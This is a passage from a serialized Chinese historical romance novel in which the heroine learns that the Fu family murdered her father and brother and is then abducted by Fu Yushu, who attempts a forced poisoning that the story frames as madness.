春华易逝,繁花未及共赏,然夏果之甘甜,正待你我同品。这是我初次执笔,以书信寄情于你,实则离别之后,方觉情丝难断,思念如潮。人生在世,无非为爱人、为家、为己人而奋斗,你是我前行之灯塔,亦让我领略世间之美好。 今日诸事顺遂,然我心却愈发思念你。今以夫君之身份,回书一封,以弥补昔日未复之憾。时至今日,我方悟爱之一字,无需理由,无关外物,唯存于心,系于念,迫切欲见之情。忆昔十七岁那年,初见你颜,如花落眼前,令我心潮澎湃,向往不已。 我亦深感歉疚,令你久受孤苦。然来日方长,我必当倾心以待,以慰你心。你收信后,可遣方于至亲王府一趟。兰风居之处,有一对陶人,乃你及笄之年所购。 当年你府上举行及笄之礼,我亦曾悄然前往,立于院门之外,遥望府中热闹非凡。府上管家见我,邀我入内共襄盛举,然我心生怯意,遂辞别而去。离府之后,于街市见人售卖陶人,其中一对,女孩儿梳双辫,笑靥如花,与你神似,我遂购之,每每思你,便取之观赏。此对陶人现置于我书房之中,你可令方于取去,睹物如见我面。 你需谨记,好生用膳,安寝勿忧。我归期在即,你且安心以待——夫君萧秋折谨上。 萧秋折洋洋洒洒写了一封长信,晚青妤捧在手中,一字一句细细品读,眼中含的泪水,终是忍不住滑落。得知他安然无恙,她心中激动难抑。她知晓他的能力,定能战胜归来。 她立于庭院之中,阳光洒落,正值春日盛景,赏花正当时。她走到海棠花丛旁,摘取几片花瓣,放于信纸之上。随后,她将信纸小心折起,重新装入信封。她抬首望天,阳光明媚,天空湛蓝如洗,仿佛一切皆明朗。 她唤来方于,让他前往亲王府取回那对陶人。方于奉命而去,不久便将陶人带回。那对陶人果真如萧秋折所言,女孩儿眉眼间与她有几分相似,男孩儿则面带微笑,很是帅气,她很喜欢。 这日,陆临忽至府上,入院后先往二哥处探望。二哥经数月调养,如今已能坐于轮椅,于院中沐浴暖阳,心境亦佳,因有妻相伴,更觉心安。 陆临探罢二哥,遂唤晚青妤到房中,见她身形消瘦,不禁轻叹:“别太过忧心,萧秋折定能安然归来。据我姐夫所言,边关形势大好,收复失地指日可待。” 说着他自袖中取出一本书籍,递与她道:“此书是我在你父兄案发现场所寻,经查证,乃是付家专聘老先生所撰。此老正是近日风靡一时之书的作者。经审问,他供认曾携此书拜访你父亲,实为付家所托。当时你父亲位高权重,掌管码头与城门货物往来之关卡,付家欲印此书,需经审核方可出售,且运输亦需你父亲首肯。” “当时,除你父亲外,尚有数位官员需加盖印章,此书方能放行。但是那老先生将书呈予你父亲,你父亲阅后,觉其中蹊跷,执意不肯盖章。正因如此,付家那批书始终未能流通,只得藏于书库,静待时机。其间,老先生几番修改此书,部分版本流入利州,致使当地民风大变,百姓深受其害。幸得萧亲王亲赴利州,方使百姓重归正轨。” 陆临言至此,目光微沉,继续道:“据这位老先生供述,加之状元郎兄长王科多方查证,你父亲与兄长之死,确系付家所为。因你父亲察觉付家图谋不轨,意欲禀报皇上,付家遂下毒手,杀人灭口。” “至于你大哥之死,实因皇上赐婚。而付家希望公主许配给付钰书,借此稳固其在朝地位,亦想借皇家之势行事。然皇上因你大哥才情出众,公主又一见倾心,遂将公主许配于他。付家得知此事,便一并将你父兄除了。” 陆临的话,如利刃般刺入晚青妤心扉。她虽曾疑心付家与父兄之死有关,但是真闻此讯,仍觉难以承受。毕竟,其父与付家之主自幼相识,情谊深厚,付家与乔家两家宅邸相邻,往来甚密。她与付钰书更是青梅竹马,多年情谊,岂料付家竟真下此毒手,害她至亲。 晚青妤心中翻涌,指尖微颤,紧紧攥住衣袖,她低垂着眼眸,久久未能平复心绪,半晌才抬眸望向陆临,确认道:“此事你可曾查得清楚?当真无误?” 陆临知她与付钰书自幼情谊深厚,见她如此模样,轻叹一声,缓声道:“我已查得明明白白,证据确凿。自你从山间归来后,萧秋折便一直在暗中追查此事。他还请了状元郎的兄长王珂相助。王珂曾是杀手营中的顶尖杀手,经手过不少任务,知晓很多秘密组织。他一路追查,最终锁定一杀手营,又从营中揪出了当初雇凶之人。经杀手营中多人供述,加之银钱往来的铁证,此事已无可辩驳。” “如今人证物证俱在,只待我们将这些证据,连同付家这些年所犯下的种种恶行,一并上奏朝廷。纵使皇上再有心庇护付家,然杀害朝中重臣与准驸马,此乃滔天大罪,付家终究难逃一劫。” 陆临说到这里,看了一眼晚青妤的神色,沉吟片刻,又道:“只是……若真如此,付家必将彻底覆灭,付钰书……恐怕也难逃一死。” 陆临曾在萧秋折那里听闻晚青妤与萧秋折之间的情愫,然而他心中仍存疑虑,不知晚青妤心中是否还念着付钰书,抑或早已倾心于萧秋折。如今眼睁睁看着昔日心仪之人命丧黄泉,终究是件痛心的事。 晚青妤抬起头来,眼中已是一片通红。她并非为付钰书可能面临的斩首之刑而难过,而是因父亲的惨死、兄长的无辜丧命,心中悲愤难平。 大哥那般年轻,那般才华横溢,却只因皇上将公主许配于他,便招来杀身之祸。人心之险恶,竟至于此!父亲一生为国尽忠,鞠躬尽瘁,最终却落得个不明不白的下场。 她声音微颤,问陆临:“你们打算何时将这些事上奏皇上?此次能否一举让付家彻底倒台?” 陆临轻叹一声,道:“此事已基本确定。加之王爷在利州所查之事,亦佐证了许多。如今朝中已有不少大臣心生铲除付家之意,只是眼下尚缺一个直击付家要害的契机。若他们杀害重臣之事败露, 付家必会激起民愤,届时他们定然难逃覆灭之局。” 晚青妤闻言,立即应声道:“好!你且准备妥当,直接禀告皇上便是。我会请二哥写一封状告书,呈递御前。此事闹得越大越好,我定要让天下人都瞧瞧,付家人究竟是何等面目,竟然如此歹毒。” 她话音未落,已是咬牙切齿,眼中怒火几欲喷薄而出。 陆临见她情绪激动,连忙劝慰道:“你先莫要太过激愤。此事既已查清,便定能有个了结。既然我们已决定动手,我便与二哥商议,让他拟好状告书,你们全家人皆可签字。我也会联络一些朝中大臣,一同联名上书。再加上萧亲王的助力,此事必能顺利解决。” 晚青妤心中百感交集,虽满腔愤慨,却也难掩悲痛。她朝陆临深深一礼:“陆临,多谢你这段时日的相助。日后我们晚家定会好生报答你的恩情。” 陆临见状,连忙摆手道:“别别别,你快起来,我可受不起你这般大礼。” 他笑了笑道:“这些都是举手之劳罢了。况且,你也不是外人。按乔家论,你是我表妹。按亲王府论,你是我表弟妹。这两层关系加在一起,可不浅了。即便你不求我,我也会帮你。只是……” 他顿了顿,故作委屈道:“日后别再叫我‘陆临’了,能不能唤我一声‘表哥’?你和萧秋折真是一个模子刻出来的,我与他一同长大这么多年,他从未叫过我一声‘表哥’,整日‘陆临’‘陆临’地唤我,这表哥当得可真是一点威风都没有。” 晚青妤听罢,急忙改口道:“多谢表哥。” 陆临嘿嘿一笑道:“这才对嘛!那我就不多打扰了,先告辞了。” “且慢!”晚青妤轻声唤住他,眸中闪过一丝凝重,“我还有一事要与你说。” “何事?” 晚青妤沉吟片刻道:“是关于张攸年的事。张攸年如今在朝中风头正盛,已然升任吏部尚书,此事你应当知晓。我们自幼相识,你常来乔家大院玩耍,也曾与张攸年有过接触,应知他为人如何。我总觉得,他似乎在暗中谋划一件大事,且付家出事,他也出了不少力。” “付钰书曾对我说,张攸年这些年一直在暗中搜集付家的罪证,并将这些证据交给了萧亲王。紧接着,他又除掉了原先的吏部尚书,自己顶替了位置。细细想来,他似乎在一步步往上爬,且每一步都走得极为稳当。” 她疑惑道:“更令人不解的是,皇家那边的人曾说,言书堂之事,二哥得以脱罪,全是张攸年一手解决。在此之前,张攸年不过是个无名之辈,竟有如此大的本事,连皇家都查不清的事情,他却能查得一清二楚。当初,莫说是皇家,就连萧秋折也一直在帮忙查,却始终未有眉目。此人……恐怕比我们平日里所见的要可怕得多。” 晚青妤抬眼看向陆临,语气中带着几分担忧:“当然,只要他不做损害我们之事,能够平步青云,我们也会为他庆贺。只是此事太过蹊跷,如今萧秋折不在京城,朝堂上的事我也插不上手。你大哥在朝中任职,不知能否帮忙留意一下张攸年的动向?” 提起张攸年,陆临眉头紧锁,沉声道:“前些日子我也在纳闷,他怎会从一个籍籍无名之辈,一跃成为二品大员,还深受皇上器重。如今整个吏部都由他一手操办,且他在朝堂上言辞犀利,许多官员都对他刮目相看,全然不似一个寒门出身之人。” 晚青妤点头:“正是因为他隐忍多年,才有了今日的成就,我们也不得不佩服。此事就拜托你了。” 陆临郑重应下:“你放心,我会多加留意。若有异动,定会及时告知于你。” 他略一沉吟,又道:“前两日我去探望外祖母,才发现张攸年竟还住在大乔家大院里。他如今在京城已有自己的宅邸,为何迟迟不搬走?莫非真对外祖母情深意重,舍不得离开,一心想要侍奉她?” 他的身份已经有了翻天覆地的变化,何需迁就于此。 晚青妤未作回应。陆临见状,心中隐隐觉得有些不对,目光在她脸上停留片刻,试探道:“我还听方于提起,张攸年也常来晚府。你且告诉我,他究竟在打什么主意?” 他虽觉此事蹊跷,却又说不出个所以然来。 晚青妤依旧未答。 陆临见状,眉头一挑,脱口道:“他该不会是……喜欢你吧?” 此言一出,晚青妤立刻低下头。 陆临见她这般模样,不由得瞪大了眼睛,语气中带着几分不可置信:“这么说,张攸年当真喜欢你?他向你表白了?” 晚青妤不愿多谈此事,转而道:“你今日可要留在府中用饭?我让母亲为你准备些可口的菜肴。” 陆临见她有意转移话题,忙摆手道:“饭自然是要吃的,但此事你须得与我说个明白。我这人好奇心重,若你不说,今日我便赖在这儿不走了。萧秋折出征前还特意叮嘱我好生照顾你,莫让你被人欺负了去。所以,我觉得我有知情权。” 晚青妤见他一副不问清楚誓不罢休的模样,只得无奈道:“没错,他确实向我表白了。他说他从年少时便喜欢上了我,只是因着出身卑微,一直不敢开口。不过你放心,我已直接拒绝了他,日后也不会与他有过多的接触与来往。” “果然,果然优秀之人总是引人倾慕。”陆临长叹一声,语气中带着几分感慨,“萧秋折真是命途多舛,上一个情敌尚未解决,如今又冒出一个,且一个比一个厉害,一个比一个难缠。你看看,萧秋折才走了多久,便有人想趁虚而入。张攸年如今步步高升,日后若有了权势地位,难保不会像付钰书那般对你。” 他说罢,挠了挠头,似是对这感情之事颇感无奈:“这爱情,当真令人琢磨不透。更何况,几个人同时倾心于一人,这局面可不好收拾啊。” 他看了看晚青妤的神情,问:“那你告诉我,像张攸年这般优秀之人,你可曾有过一丝心动?” 她也是和张攸年一起长大的,张攸年无论样貌还是才华,也不比其他人差,这样一个人若是表白和猛追不舍,能丝毫不动心? 陆临好奇,问得直白,也是在为萧秋折担忧。 晚青妤闻言急忙摇头:“没有,绝对没有!我对他毫无感觉,我不喜欢他。我心里只有萧秋折。” “心里只有萧秋折?”陆临抓住了重点,“这么说,你现在喜欢的人是萧秋折?” 晚青妤点头:“对。” 说完,她脸上一红,不愿与陆临多谈感情之事,她转身便朝门外走去:“我现在就去找母亲,让她安排些好吃的,今日你留下来用饭。” 她匆匆出去了,陆临站在原地挠了挠头,感悟道:“萧秋折啊萧秋折,功夫不负有心人,你总算拿下了自己心爱的姑娘。” 他何时才能找到那位让我心动的姑娘呢? 说起来,他要容貌有容貌,要才华有才华,家世背景更是显赫,在整个京城中也是赫赫有名的贵公子。然而,这些年来,媒婆子几乎将他家的门槛都踩烂了,却始终未能为他说成一门亲事。 他心中始终未曾有过一个真正令他心动之人。他甚至曾对父母直言,若此生找不到那位让他心动的姑娘,他宁愿终身不娶。此言一出,父亲捞起鞭子狠狠抽了他一顿。 晚青妤让母亲准备了一桌丰盛的饭菜款待陆临。陆临吃得心满意足,临走时对晚青妤道:“等我好消息。” 大约过了半月,萧亲王在多位大臣的举荐下,已然在朝中恢复了权威。皇上虽知他来者不善,但在此节骨眼上,却也顶不住众臣的施压,无可奈何之下,只得暗中派出一批人马,前往边关刺杀萧秋折。 既然萧亲王有意与他作对,那他便先从萧秋折下手,断其后路。 萧亲王在朝中重掌权柄之后,张攸年私下里与他往来甚密,时常将吏部的要务说与他听,甚至还帮忙调查付家的罪证。 如今,张攸年已是朝中举足轻重的大臣,许多大事皆能参与其中。萧亲王深知,若有这样一位大臣在朝中帮衬,自己的地位必将更加稳固,因此他并未拒绝张攸年的好意,反而时常邀他吃饭饮酒。 经过一段时日的接触,萧亲王对张攸年愈发赏识,觉得他身上有一种与众不同的气质,加之其才华横溢、心思缜密,着实令人欣赏。两人之间的默契也日渐深厚,朝中之事,张攸年总能为他出谋划策,助他稳坐高位。 约莫又过了半月光景,众人一切准备就绪,风 暴骤然席卷付家。一夜之间,付家遭到各方讨伐,尤其是晚青妤父亲与兄长之死的旧案,被陆临重新提出,证据确凿,朝堂上下无不震惊。消息传遍京城,百姓对付家恨之入骨,纷纷唾骂其狼子野心,罪不容诛。 朝中大臣纷纷上书弹劾,皇上难挡众怒,时下已是骑虎难下。即便他心中百般不愿惩处付家,也不得不做出些姿态。他本打算轻描淡写地将付家封闭一段时日,暂避避风头,却不料萧亲王与一众大臣依旧步步紧逼,非要彻底铲除其势力。 最终,皇上顶不住朝臣的施压,只得将付家家主张锦知关入大牢,声称此事需亲自查证。若付家果真犯下杀害朝中重臣之罪,必将付出惨痛代价。 太后得知付家出事,心急如焚,频频在皇上面前为付家求情,甚至暗中联络各方势力,试图为付家开脱。一时间,付家之事闹得满城风雨,朝堂上下议论纷纷,京城内外乱作一团。 这日傍晚,晚青妤自外祖母家中归来,行至半路,忽有一伙人冲杀而出,二话不说便挥刀砍来。 方于虽身手了得,却难敌众人围攻,身受重伤。玉儿肩头亦中了一剑,马夫更是当场毙命。 这些人是冲着晚青妤而来,却无人敢伤她分毫。就在方于力竭去护晚青妤之际,一蒙面黑衣人策马疾驰而来,一把将晚青妤拽上马背,扬长而去。 光天化日之下竟敢劫人,方于强忍伤痛,命玉儿速去搬救兵,自己则骑上快马紧追不舍。 傍晚的风呼啸而过,吹得晚青妤耳畔生疼。她被黑衣人紧紧搂住腰身,无论如何挣扎都难以脱身。 身后之人见她挣扎得厉害,低喝一声:“别乱动,摔下去可不好受。” 他一开口,晚青妤顿时愣住,惊愕道:“付钰书?你要干什么?带我去哪里?” 劫持她之人,竟是付钰书? 付钰书将她搂得更紧,声音低沉:“我想带你远走高飞,离开京城,去一个只有我们两个人的地方。” “付钰书,你疯了?” “对,我疯了,如今付家已完,我也难逃一死。最后再让我疯一次吧。青妤,我已有了脱身的办法,你跟我走,日后我定会好生待你。” “付钰书,你个混蛋,你放开我。” 马儿仍在狂奔,付钰书见她挣扎得厉害,生怕她摔下马去,眉头一皱,狠心一掌劈在她颈后。晚青妤顿时晕了过去。他将她紧紧搂在怀中,勒紧缰绳,快马加鞭地向城门外疾驰而去。 青妤,死也要在一起。 第59章 第59章可他却在粥里给她下毒。…… 人在生死攸关之际,往往容易做出些疯狂之举。或是自欺欺人地麻痹自己,或是执拗地去填补那些未竟的欲念。毕竟到了这般境地,多数人早已存了破罐子破摔的念头。 这段时日付家频频出事,于付钰书而言,无异于雪上加霜。他仕途上力有不逮,情场上又屡屡受挫。偏生性子执拗,如今这般紧要关头,更是想不出半分转圜之策。唯一能想到的,竟是在这最后时刻,了却自己那未偿的夙愿。也正因如此,他才会这般不管不顾地挟持了晚青妤。 想来这些日子,付钰书早已暗中筹谋。他花重金买通了城门守卫,一路畅通无阻地出了城。而后策马扬鞭,带着昏迷不醒的晚青妤向西疾驰。 身后受伤的方于虽血流不止,却仍紧追不舍。可出了城门,岔路渐多,他终究迷失了方向,不知该往何处去寻。 暮色四合时,付钰书带着晚青妤在一处偏僻客栈落脚。而方于在城外苦苦搜寻无果,只得折返京城求援。此时玉儿已回到晚家,将此事告知晚青桁。晚青桁闻言大惊失色,当即召集人马,又遣人去寻张攸年相助。 张攸年得知消息,立时调派大批官兵出城搜寻,同时下令封锁周边要道。他虽知付钰书行事偏激,却未料到他竟疯狂至此,胆敢挟持晚青妤。近来付家败落,对付钰书打击甚大。他心性本就不够坚韧,如今更是濒临崩溃。人在绝境之中,什么事都做得出来。 这一夜,张攸年心急如焚,带着人马四处搜寻,几乎踏遍了城外每一寸土地。月色凄清,照着他焦灼的面容,却始终寻不到半点踪迹。 晚青妤幽幽转醒时,发觉自己置身于一间昏暗的厢房内。屋内陈设简陋,似是寻常客栈的布置。她只觉头痛欲裂,蹙着眉撑起身子,却见一袭黑衣的付钰书正静坐桌前,烛火映照下,那张曾经温润如玉的面容如今憔悴不堪。 晚青妤随即翻身下榻,趿着绣鞋就要往门外逃。还未触及门扉,手腕便被一股蛮力扣住。付钰书的手指冰凉如铁,钳得她生疼。 “放开!”晚青妤挣扎着,声音发颤,“你可知挟持良家女子是何等罪过?” 付钰书苍白的唇边泛起一丝冷笑,眼底甚是幽暗:“罪过?如今我还在乎什么罪过?” 他忽然用力一拽,将她扯到跟前,声音陡然软了下来:“青妤,跟我走吧,我有要事相告,你听了定会随我离去。” 晚青妤奋力挣扎,却被他一把按在凳子上。烛光摇曳间,她看清了他眼中的癫狂与绝望。 “从今往后,你哪儿也不许去。”他俯身逼近,气息灼热,“明日我们便渡海远行,去一个谁也寻不到的地方。便是死也要死在一处。” 晚青妤从前只道付钰书固执,未料他竟疯魔至此。此刻的他双目赤红,眼中血丝密布,显是多日未眠,整个人都透着股支离破碎的癫狂。 她强自镇定,深吸一口气道:“付钰书,你这样做毫无意义。我不喜欢你,你强求又有何用?即便逃到天涯海角,除了做个亡命之徒,你还能得到什么?带着我颠沛流离,岂会有什么好日子过?你可曾想过我的感受?” “你的感受?”付钰书苦涩一笑,“那我的呢?青妤,是你先抛弃了我,是你让我变成如今这副模样。我们明明有过情意,为何你现在要移情别恋?我不甘心,便是你现在不爱我也无妨,我定要带你走,便是死也要死在一起。” 他依旧说着疯狂的话,说着说着,眼中泪水几欲夺眶而出。 晚青妤见他这般疯态,生怕他做出更疯狂的举动,只得强压惊慌,放缓声音道:“你先别急,我们好好说话。事到如今,我也该与你把话说开。” 付钰书见她态度软化,紧绷的身子稍稍放松,将她的手紧紧攥在掌心,语气也缓和了一些:“青妤,我要告诉你的是你的身世。不知萧秋折可曾与你提过,你很可能是皇贵妃的女儿,与当今小皇子是亲姐弟,更是萧秋折的堂妹。你身上那块玉佩,正是皇贵妃生前所留,与小皇子身上的那块一模一样。” “青妤,你和萧秋折不能做夫妻。” 同族血亲关系,怎么可以做夫妻呢?历朝历代,都没有先例。 晚青妤听闻这话,恍然明白,萧秋折当初听闻的传言,或许是从付钰书这里得来的。 她皱着眉道:“你说的这事我知晓,但如今尚无确凿证据证明我就是皇贵妃的女儿,更无法断定我与萧秋折有血亲之嫌。何况,这事与你我之间有何干系?你不要说这些。” 付钰书见她不信,继续道:“此事虽未定论,但我已在宫中打探清楚。一位老宫人说,当年确有个接生婆偷走了小公主,转卖给人贩子,后又经宣州流转,最终被一个婆子丢弃在村庄,这才被你父母捡到。这条线我已查得明明白白,绝非虚言。所以,你和萧秋折确有血亲,这是改变不了的事实。即便你再爱他,你们也绝无可能在一起。” 他竟然查清楚了? 而他所言竟与母亲告诉她的往事分毫不差。若真如此,那个从宫中流落的孩子,很可能就是她。 一时间,她脑袋一懵,愣了好一会,最后仍不可置信地道:“付钰书, 别说了,我不会相信的。” 这绝对不是真的。 “青妤。”付钰书攥住她的手腕,“我知道这事对你太过残忍。可你想过没有?一旦你被皇家认亲,你的身世便会昭告天下。到那时,你与萧秋折的婚事就成了天大的笑话。你们不仅不能在一起,皇上还会为你另择夫婿,你连反抗的余地都没有。” “幸好我们自幼相识,总归有情分在。只要你随我走,我定会待你如珠如宝。如今付家虽败,但我父母已为我安排了退路。只要我们离开这里,就再没人能找到我们。这样对你、对我,都是最好的结局,不是吗?” 烛火摇曳间,付钰书的面容半明半暗,眼中尽是偏执的疯狂与柔情。 晚青妤望着眼前这个近乎疯魔的男子,心中百转千回。究竟要爱一个人多深,才能生出这般执念? 她轻叹一声,眸中泛起几分怜悯:“付钰书,你说的或许有几分道理。可我绝不会逃避,更不可能随你远走。即便你强行带我离开,我也只会终日以泪洗面,思念我的家人。这样的我,对你而言又有何意义?” 烛光在她眼中跳动,映出一片澄澈:“既然你已有脱身之法,不如就此离去。隐姓埋名,做个正直善良之人。这世间大好河山,你游历两年难道还未看懂吗?何必非要执着于一段无果的情缘?这世间万物都在变化,固守执念的人,永远得不到真正的快乐。趁现在还有机会,放下这一切,重新开始吧。” “你若真对我有一分情意,就该明白,强求来的,终究不会幸福。” 一个固执的人怎么那么难点醒呢? 付钰书痛苦地搓了把脸,眼中布满血丝,声音嘶哑地道:“青妤,你为何这般狠心?就半点不顾及我的感受么?” 他仍执迷不悟,到此刻还在指责她。 晚青妤现在只想离开这里,可他紧抓着她的手不放开,再听闻他这样的话语,她再也按捺不住,从凳子上站起身,一双杏眸通红,声音发颤地道:“那你们付家对我父亲、对我兄长做的那些事呢?我如今见着你,没一刀捅死你,没为父兄报仇雪恨,已是仁至义尽。付钰书,你心里比谁都清楚,你父亲派人杀我父兄时,你可曾阻拦?可曾愧疚?即便不是你亲手所为,你身为付家子嗣,难道不该赎罪吗?” “如今你们付家祸国殃民,自食恶果。你明知如此,为何还要拖我下水?我失去父亲,失去兄长,二哥重伤残疾,夫君远赴边关生死未卜……” 她的眼睛湿润了,也哽咽起来:“付钰书,我也是个活生生的人啊!不是你们争来抢去的物件。你若真如所言那般爱我,会这般逼迫我吗?会在明知付家犯下何等罪孽后,还执意与我在一起吗?” “付钰书,你该记得,我是在怎样的家中长大的。我父亲为人清正廉明,儿时你来寻我,他总要考你诗文,还总夸你将来必成大器。我母亲待你如亲子,每每留你用膳,亲手为你烹制佳肴。” 她抬手擦了擦滑落的眼泪:“那时的日子多好啊,我们全家其乐融融,待你从不见外。可自从两年前开始,我们家接连出事,桩桩件件都与你们付家脱不了干系。若不是你们。” “若不是你们付家步步相逼,我现在本该承欢父母膝下,自由自在地择婿成婚,而不是像如今这般,几乎家破人亡。” “付钰书,你醒醒吧。你们付家已经毁了我的家,难道你还要亲手毁了我吗?” 谁能想到,十几年的情谊,到头来竟抵不过他的一己执念。 晚青妤话音落下许久,纤弱的肩膀仍在微微颤抖。她方才那番话几乎是从牙缝里挤出来的,只盼着付钰书能明白,这一切不过是命运弄人,错只错在他太过执迷。 夜风穿堂而过,吹动烛火摇曳。晚青妤的话像一把钝刀,一字一句剜在付钰书心上。那些被刻意遗忘的往事,那些温暖明亮的旧时光,此刻全都涌上心头,让他无处可逃。 不知何时,他已经落了眼泪。他死死攥着她的手不肯松开,抬起那张憔悴不堪的脸,声音哽咽道:“青妤,你都忘了吗?我们有很多很多美好啊!你四岁那年,你一声声唤我‘钰书哥哥’,央我上树给你摘枣子,让我替你研墨写字。天热时,我跑遍街东头给你买冰饮。天寒时,我冒雪去长白给你买暖炉。” 他的泪水滴落在两人交握的手上:“七岁那年你染了重病,浑身滚烫不退。我守在你床前整整三日,眼睛都不敢合一下。你迷迷糊糊拉着我的手说‘钰书哥哥不要走’,我便再困再累也不敢离开半步,直到你退了烧,我才敢去吃口饭。” “十岁那年,你外祖父去世,全家人都去了乔家大院。你一个人躲在角落里哭,说想送外祖父最后一程。那天下着大雨,我从晚府一路把你背到乔家,牵着你站在灵柩前,看你哭得肝肠寸断。” 说到此处,他凄然一笑:“十二岁那年,就是那一年,你遇见了萧秋折。你整日闷闷不乐,我变着法子哄你开心,连课业都顾不上了,逃课也要去看你。为此被父亲打得我下不来床。可我那时竟不知,你心里已经装下了别人。” 多么可笑。 他泪眼朦胧地望着她:“那时候,你还会甜甜地唤我‘钰书哥哥’,会牵着我的手去看花赏雪,会对着我笑得那样开心。” “还有……”他的声音渐渐低下去,已是泣不成声,泪水如断了线的珠子般滚落。他低头沉默了一会,再抬起那双空洞无神的眼睛,仿佛一个行将就木之人,“还有,在你及笄之时,在你行成人礼那日,你开心的对我说‘钰书哥哥我终于成年了,可以做很多以前不可以做的事情了’。你说完,跑到屋里拿了一把扇子出来,你说‘钰书哥哥,这是我及笄后送你的第一份礼物,你一定要收好’。青妤,你那时对我……” “别说了。“晚青妤打断他,双手紧紧攥着衣角,指尖都泛了白,“你说的这些我都记得,全都记得。可那都是过去的事了。我们确实有过美好的回忆,但这不代表我们就该永远绑在一起。” “付钰书。”她深吸一口气,擦了把眼泪,“爱一个人是要看着对方幸福的,而不是一味地强求。我知道嫁给萧秋折伤了你的心,可是感情这种事,骗得了别人骗不了自己。我……我连自己的心都控制不了,你让我怎么与你在一起?” “没关系的,青妤, 没关系的。“他双手扶住她的肩膀,“我现在什么都不在乎了。不在乎你心里还有没有我,不在乎你是不是爱上了别人。我只想与你在一起,天天看着你。我也有血有肉,我也不甘心啊,我们十几年的情分,就这么……就这么……” 他哽咽得说不出话来,半晌才继续道:“你可知道失去一个人有多痛?我离京那两年,日日如行尸走肉。不敢回京,怕看见你,只能用各种琐事麻痹自己。常常一个人走很远的路,一个人用膳,一个人睡觉。可越是独处,就越是想你。” 他捂住疼痛难忍的胸口,继续道:“多少次我想冲去山间小院寻你,又怕给你惹来非议。只能默默等着,等三年期满,等你与萧秋折和离……” “是,我承认我不是什么正人君子。可我对你的情意,天地可鉴。这种失去的感觉,简直比剜心剔骨还要痛。青妤,你告诉我,我该怎么办?要我怎么做你才能回头?” 这就是命吗? 泪水怎么擦也擦不净。 晚青妤望着眼前这个曾经意气风发的少年郎,如今却为情所困至此。看着他悲痛欲绝的模样,看着他大颗大颗的泪珠砸在地上,她的心也跟着揪了起来。 她想挣脱他,他却紧抓着她不放。她往后退,他又紧追。 她几乎崩溃地哽咽着问:“付钰书,到底要怎么样啊?你的父亲杀了我父亲和兄长,即便我什么都不顾随你离开,我的后半生要怎么过呢?” 要怎么过? 她有些支撑不住了,声音越来越颤抖:“让我日日面对杀父仇人之子,同吃同住,这对我来说,比死还难受,你于心何忍啊?” “人都是自私的,都想活得舒坦些。可你不能只顾着自己的感情,就全然不顾我的感受。我做不到,即便没有萧秋折,即便我还喜欢你,我也绝做不到与杀父之子在一起。” 这就是他们的宿命,早就注定了结局。 “你们付家杀我父兄之仇,我终有一日要报。”她用力挣脱他紧握的手,“放弃吧!放了我好不好?别再逼我了,否则我们只有死路一条。” 她宁愿死,也不愿与他在一起? 他颓然地垂下头去,泪水早已浸透前襟。他颤抖着从腰间取出一把匕首,抓起她的手将匕首塞入她掌心。他想站起身,双腿却抖得厉害,只得仰着头,握着她的手将匕首抵在自己心口上。 “青妤。”他凝噎着说,“你杀了我吧!我宁可死在你的手里,也不愿被押赴刑场。如此,也算为你父兄报仇了。” 晚青妤看了眼匕首,紧蹙着眉头,手有些发抖,她往后退一步,摇头道:“我不会杀你。冤有头债有主,既然不是你动的手,我绝不会伤你分毫。整个付家,就你还算清醒,既然已有脱身之法,你快走吧,永远别再回来。” 走得越远越好。 望着这样活生生的人,她如何下得去手?站在他的立场,他何尝不是无辜的?不过是生在了付家,不过是爱错了人。 她舍不得杀他。 但他却死死攥着她的手不肯松开,然后猛地向前一倾身。 只听“噗嗤”一声,她惊慌地连忙后退,可匕首尖还是在他胸口划出一道血痕。 “你疯了。”晚青妤丢开匕首,低喝道:“付钰书,你能不能清醒些?能不能像个正常人一样好好活着?” 鲜血在他衣襟上洇开,他却笑了,笑得那般苦涩。 晚青妤甩开他的手,他踉跄着跌坐在地上。胸口渗出的鲜血染红了衣襟,他伸手抹了一把,冷笑道:“青妤,一点也不疼,比起我心里的痛,这算得了什么?” 在爱情里他已经遍体鳞伤了,什么也不在乎了。 死也舍不得死,活着又那么痛苦,到底怎么办呢? 他要怎么办? 房间里安静了好一会。 晚青妤的眼泪一直无声地流着,世上怎么会有这般痴情的人啊? 又过了好一会,付钰书缓缓站起身,再次握住她的一只手,情绪平静了一些,嗓音哑得几乎听不清了:“青妤,既然你不愿与我走,既然结局已定,那在这之前,我能否求你一件事?” 晚青妤擦着眼泪,没有作答。 他深吸一口气,望着她,几乎恳求道:“能不能,与我拜堂成亲?我想看你穿上嫁衣的模样,想在死之前,让你做一回我的妻子。” 他真的疯了。 晚青妤震惊又失望地望着他:“付钰书,你能不能别再自欺欺人了?是不是非要逼死我才甘心啊?” 到底要怎么样? “青妤,你听我说。”他上前想抓住他,却被她躲开了。 她向后退去,他一步步跟着:“青妤,我不会逼你做别的,只是想看你穿上嫁衣。” 他的声音哽咽得几乎破碎了:“还记得两年前,你穿着嫁衣被萧秋折抱上花轿时,我站在付家门前哭得撕心裂肺,怎么挽留你都不肯回头,我眼看着你成了别人的新娘,怎么也挽回不了。我真的很痛苦,也很羡慕萧秋折。青妤,在我死前,满足我这个愿望好不好?就这一个,我别无所求。” 一个失控的人,所言所行,已经超出常人的理智。 晚青妤摇着头,声音轻颤道:“不行,我不会嫁给你,也不会穿什么嫁衣。我可以陪你说话,陪你用饭,但绝不会穿上你准备的婚服。” 她拒绝得干脆,这个要求她断然不能应允。 他听着这般绝情的话,整个人如泄了气的皮球,双臂无力地垂下。 这个请求她也不答应。 他在原地呆立了一会,低声道:“好,既然你说可以陪我吃顿饭,那便吃饭吧。” 他走到门前,吩咐守在外面的随从让店家去准备饭菜。转身回来时,胸前的伤口仍在渗血,他却浑然不觉。 晚青妤僵立在一旁,双手冰凉如雪,只想着他何时才能放她走。 不多时,店家送来饭菜。虽色香俱全,却二人均无胃口。 他起身,拉着她的手走到桌前,将筷子塞进她手里,又盛了两碗粥。一碗放在她面前,一碗留给自己。 然后,他从袖中取出一个瓷瓶,颤抖着手拔掉瓶塞,眼泪也随之落下,他先往自己碗里倒了些粉末,又往她碗中洒了些。 “这是鸩毒。”他声音轻得几乎听不见,“服下后顷刻毙命,不会太痛苦,是我特意寻来的。” 他抬眸,泪眼中透着决绝:“青妤,既然活着连我这点心愿都不能成全,不如我们黄泉路上作伴,到阴曹地府再做夫妻。” 他还是不肯放过她。 晚青妤望着眼前这碗毒粥,已是心如死灰,也觉得荒唐至极。 